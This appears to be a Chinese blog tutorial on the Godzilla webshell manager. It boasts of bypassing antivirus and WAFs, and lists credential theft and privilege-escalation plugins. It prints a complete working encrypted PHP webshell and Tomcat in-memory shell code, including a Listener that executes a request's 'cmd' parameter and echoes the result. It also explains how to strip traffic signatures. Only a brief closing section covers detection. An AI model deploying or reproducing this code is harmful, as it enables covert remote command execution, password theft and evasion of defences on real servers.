一、哥斯拉(Godzilla Shell)简介

哥斯拉是继菜刀、蚁剑、冰蝎之后具有更多优点的Webshell管理工具,由java语言开发,如名称一样,他的“凶猛”之处主要体现在:

1、哥斯拉全部类型的shell均过市面所有静态查杀。

2、静态免杀这个问题,要客观;工具放出来之后可能会免杀一段时间,后来就不行了,但是,改改代码还能继续过狗。重点还是要看流量加密和一些自带的插件。

3、哥斯拉流量加密能过市面全部流量waf。

4、哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的。

如此简单的操作界面,实际效果和功能可绝不简单。

它能实现的功能除了传统的命令执行、文件管理、数据库管理之外,根据shell类型的不同还包括了:

  • MSF联动
  • 绕过OpenBasedir
  • ZIP压缩 ZIP解压
  • 代码执行
  • 绕过 DisableFunctions
  • Mimikatz
  • 读取服务器 FileZilla Navicat Sqlyog Winscp XMangager 的配置信息以及密码
  • 虚拟终端 可以用netcat连接
  • Windows权限提升 (2012-2019烂土豆)
  • 读取服务器 谷歌 IE 火狐 浏览器保存的账号密码
  • Windows权限提升烂土豆的C#版本 甜土豆
  • 支持 哥斯拉 冰蝎 菜刀 ReGeorg 的内存shell 并且支持卸载
  • 屏幕截图
  • Servlet管理 Servlet卸载
  • 内存加载Jar 将Jar加载到 SystemClassLoader

二、管理工具安装与使用

哥斯拉下载与安装

下载地址:Release v3.03-godzilla · BeichenDream/Godzilla · GitHub

GodZilla 的运行环境:JDK 1.8

2、双击 Godzilla.jar 运行 程序之后 会在 同目录下 生成 data.db 数据库存放数据。

哥斯拉使用方法

① 哥斯拉的马(Webshell)已经内置了Payload以及加密器,是需要自己配置的 。

双击Godzilla.jar打开,此时会在同目录下生成data.db数据库存放数据。

哥斯拉支持jsp、php、aspx等多种载荷,java和c#的载荷原生实现AES加密,PHP使用亦或加密。生成时需要记住自己的生成配置用以链接时用。

点击"管理”->“添加”生成所需的webshell:

1.哥斯拉支持 jsp、php、aspx 等多种载荷。

2.java 和 c# 的载荷原生实现 AES 加密,PHP使用亦或加密。

3.生成时需要记住自己的生成配置用以连接时使用。

4.记得点击生成。

② 把生成的脚本放到了D盘下,起名为:ace.php。


<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (stripos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}

③ 选择DVWA 靶机,上传文件

④ 目标 → 基础配置 → 将框选的内容填写修改,有效载荷和加密器,点击测试连接。连接成功后点击添加:

⑤ 哥斯拉也有很多功能模块,比如:基本信息、文件管理、命令执行、数据库管理等等。

(1)数据库管理

相信大家在使用蚁剑的时候没少碰到过连不上数据库的情况,我自己碰到过一个环境就是shell所在的tomcat container没有jdbc的jar包依赖导致连不上数据库,偏偏蚁剑没什么好办法。而在哥斯拉中就不必担心这个问题,在数据库管理中哥斯拉会先从容器中加载可用的jdbc,如果没有就通过内存加载jar驱动来链接数据库。

(2)内存shell

内存shell模块实现了在tomcat中注册、卸载内存马。

你可以直接注册一个哥斯拉的马或者冰蝎、菜刀的马,甚至是regeorg。

比如注册一个/Godzillashell进去:

访问发现存在:

直接哥斯拉链接就行了。内存shell 无日志,会在tomcat重启后消失。

(3)屏幕截图

点截图会自动保存预览,在windows上需要shell权限够大。

(4)虚拟终端

这个功能其实是在本地监听端口,通过shell与服务器交互实现cmdshell。点击start之后执行nc 127.0.0.1 4444链接本地4444获取cmdshell。

如果不使用nc链接的话会一直占用本地4444端口。用完请exit或点击stop。

(5)JMeterpreter

三、哥斯拉通信加密分析

流量加密分析

以jsp为例,修改链接配置里的代理选项为http代理,让流量代理到Burp中。

执行dir命令的请求包:

响应包:

或许你说headers里的一些ua和Accept太扎眼了,别担心,这些可以自己配置。在shell编辑的请求配置中修改。

或者在配置–全局配置中修改。

此时在看请求包和响应包完全没有特征:

并且在请求包的thisisleftData和thisisrightData可以修改为其他杂乱数据来进行干扰。到这里还不说一句哥斯拉天下第一?

流量加密实现

选择JavaDynamicPayload。

生成一个WebShell,需要用Unicode解码才能查看代码:

字符串xc为自定义秘钥(pass)MD5的前16位。

拼接自定义的密码和秘钥获取md5值, 这里的md5值作为认证密码和密钥,主要代码逻辑如下:

抓取连接Shell地址过程数据包,一共进行了三次请求响应:

JavaAesBase64类初始化方法如下,加解密方法与生成的WebShell相对应:

四、哥斯拉流量端检测思路

围绕流量测的检测思路,因为其流量加密的特性,其实与冰蝎Shell管理工具想法大致相同,往往需要多种弱特征结合验证,如可以通过分析Shell连接过程的简单固有特征,结合数据统计分析来进行检测等。

内存马

内存马特点:文件无需落地,更加隐蔽。以tomcat为例,内存马分为以下三种:Servlet、Filter、Listener

(1)Servlet内存马

以一个简单的Servletdemo为例,访问url,查看tomcat对应的调用栈如下:

我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中,Wrapper等效于Servlet,即我们只要自定义的实现该逻辑,就可实现Servlet内存马。

Servlet3.0开始提供了动态注册filter、Servlet、Listener,这里不再赘述,感兴趣的可以自己调试验证下,主要逻辑为:

1.创建自定义Servlet。

2.使用Wrapper对应进行封装。

3.添加封装后的Wrapper到StandardContext的children当中。

4.添加ServletMapping将访问的URL和Servlet进行绑定。

如234步骤实现代码如下:

// 获取StandardContextorg.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();// 用Wrapper对其进行封装org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();newWrapper.setName("sangfor");newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);newWrapper.setServletClass(servlet.getClass().getName());// 添加封装后的恶意Wrapper到StandardContext的children当中standardCtx.addChild(newWrapper);// 添加ServletMapping将访问的URL和Servlet进行绑定standardCtx.addServletMapping("/sangfor","sangfor");

(3)Listener内存马

请求站点时,优先级如下,Listener -> Filter -> Servlet,Listener是最先被加载的

当设置了ServletRequestListener时,每次请求都会先进入Listener 进行逻辑判断

Listen监视器分类:

ServletContext监听, 服务启动和停止时触发

Session监听, Session初始化和销毁时触发

Request监听, 访问服务时触发

我们需要通过Request这个点来实现,即ServletRequestListener,主要逻辑:

自定义Listener

调用StandardContext对象的addApplicationEventListener方法来添加Listenner

(直接使用ApplicationContext的addListenner方法来动态添加Listener会进行web容器状态判断)

主要代码如下:

//listener
ServletRequestListener demoListener = new ServletRequestListener() {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent sre) {System.out.println("requestInitialized");String cmd = sre.getServletRequest().getParameter("cmd");try{//获取sre中的requestFacade对象org.apache.catalina.connector.RequestFacade requestFacade =
(org.apache.catalina.connector.RequestFacade)sre.getServletRequest();//反射获取RequestFacade中的request对象java.lang.reflect.Field connrequestField =
org.apache.catalina.connector.RequestFacade.class.getDeclaredField("request");connrequestField.setAccessible(true);org.apache.catalina.connector.Request request =
(org.apache.catalina.connector.Request) connrequestField.get(requestFacade);//执行命令并回显String[] cmds =
!System.getProperty("os.name").toLowerCase().contains("win") ? new String[]
{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};java.io.InputStream in =
Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new
java.util.Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = request.getResponse().getWriter();java.lang.reflect.Field usingWriter =
request.getResponse().getClass().getDeclaredField("usingWriter");usingWriter.setAccessible(true);usingWriter.set(request.getResponse(), Boolean.FALSE);writer.write(output);writer.flush();}catch (Exception e){e.printStackTrace();}}
};
//获取standardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardCtx =
(org.apache.catalina.core.StandardContext)webappClassLoaderBase.getResources().
getContext();
//添加监听器
standardCtx.addApplicationEventListener(demoListener);

(4)哥斯拉Shell管理工具实现内存马

我们再回过头来看下哥斯拉Shell管理工具中内存马的实现,内部实现了不同webshell的内存马,使用jd-gui工具打开class文件,可以看到,C刀,冰蝎不同shell的实现逻辑大相径庭,根据其shell管理工具进行了修改:

(5)内存马检测

有了其攻击手段的实现,防御检测思路也不断更新替换,上述也仅仅是tomcat的实现思路,不同容器框架的具体实现也需要对应的进行封装修改,但其思路大致相同。

万变不离其宗,在主机侧,我们可以通过以下维度是进行检测:

  • 攻击行为固有行为特征
  • 不同于正常业务的特殊共性
  • 高危敏感行为检测

网上已有不少主机侧检测思路,如:

  • 核心特点均会是被加载进jvm的类,即思路为遍历获取每个类,通过类黑名单、高危风险类筛选检测
  • 内存马不落地,即本地不存在对应class文件,攻击者又会在内存马中放置危险操作这两个特性,检测对应ClassLoader目录文件是否存在class文件。我们再dump对应class(如filter)进行check

我们也可以通过RASP技术注入监测阻断恶意敏感操作,也可以达到比较好的类隔离效果。

哥斯拉加密WebShell过杀软相关推荐

  1. 冰蝎加密 WebShell 过杀软

    用Web系统语言(如:ASP.PHP.JSP等)编写的WebShell,WebShell上传服务器后当成页面被攻击者访问,常当做后门. WebShell危害  做后门: 文件.数据库操作: 修改Web ...

  2. 蚁剑加密 WebShell 过杀软

    网络安全实战攻防演练中,只有了解攻击方的攻击思路和运用武器,防守方才能有效应对. 以WebShell 为例,由于企业对外提供服务的应用通常以Web形式呈现,因此Web站点经常成为攻击者的攻击目标.攻击 ...

  3. 渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析

    菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 文章目录 菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 前言 Webshell简介 中国菜刀 菜刀webshell的静态特征 菜刀webshe ...

  4. 哥斯拉Godzilla webshell管理工具

    简单使用方法 哥斯拉由于其可以动态加密而被广泛应用,在哥斯拉安装之前,你需要安装jdk1.8的环境.打开Godzilla.jar,便会在同目录下生成data.db数据库存放数据.也就是首页. cmd打 ...

  5. 哥斯拉Godzilla webshell

    简单使用方法 在哥斯拉安装之前,你需要安装jdk1.8的环境.双击Godzilla.jar打开,此时会在同目录下生成data.db数据库存放数据.首页长这样 点击 管理–添加 生成所需的webshel ...

  6. 冰蝎shell_冰蝎动态二进制加密WebShell特征分析

    概述 冰蝎一款新型加密网站管理客户端,在实际的渗透测试过程中有非常不错的效果,能绕过目前市场上的大部分WAF.探针设备.本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时 ...

  7. 【每天学习一点新知识】菜刀、冰蝎、蚁剑、哥斯拉webshell工具分析

    什么是webshell已经在之前的文章里做过讲解了,这里就不再赘述 附上链接:[每天学一点新知识]getshell???webshell???_RexHarrr的博客-CSDN博客 目录 中国菜刀 菜 ...

  8. upload-labs+哥斯拉webshell的使用

    upload-labs 本实验使用哥斯拉webshell管理工具,工具我上传了资源 pass-01 文件上传漏洞主要是要上传一句话到服务器,然后得到他的权限 例如使用哥斯拉生成这句php代码,或者自己 ...

  9. 【网络安全】一些webshell免杀的技巧

    前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...

最新文章

  1. 3.请执行命令取出linux中eth0的IP地址(考试题答案系列)
  2. C语言:关于socket的基础知识点
  3. ATen(A TENsor library for C++11)剖析(1)
  4. Linux-2.6.25 TCPIP函数调用大致流程
  5. CVPR 2021 | 大幅涨点!新型动态激活函数和轻量级网络TFNet
  6. virtio-fs: A Shared File System for Virtual Machines
  7. 汇编语言上机考试三星题——判断一个不超过65535的整数是否为质数
  8. 支付宝 应用网关和授权回调地址怎么配置?
  9. 龙芯mips64 Javajdk下载
  10. VBoxGuestAdditions.iso无法在virtualbox中正确安装
  11. 黑马乐优商城项目资源分享
  12. Linux 串口驱动与使用
  13. dos2unix 目录
  14. Android 和风天气+腾讯地图
  15. 6、域渗透中查询域用户对域成员机器关系
  16. 欧姆龙PLC以太网与西门子WINCC通讯
  17. CCF-CSP认证历年真题解(100分)
  18. MaxCompute SQL示例解析
  19. 读《三井帝国在行动》笔记
  20. 弘辽科技:新世相与淘宝直播合作,直播生态困局将有新突破?

热门文章

  1. C语言中short整型数据的范围-32768----32767是中的-32768是如何确定的
  2. 人工智能之目标检测系列综述
  3. 从中建三局 “安康杯”安全知识竞赛看竞赛软件的魔力
  4. 图文详解基于角色的权限控制模型RBAC
  5. console的方法
  6. Tomcat 学习系列1 Tomcat8在win7下配置与使用 和常见问题处理
  7. 每日一博 - 漫谈防御式编程
  8. 数据通信与计算机网络第二版课后题答案,数据通信与计算机网络习题答案(邢彦辰)_课后习题答案 精品...
  9. 同花顺2015校园招聘笔试题
  10. python函数查询作用_Python函数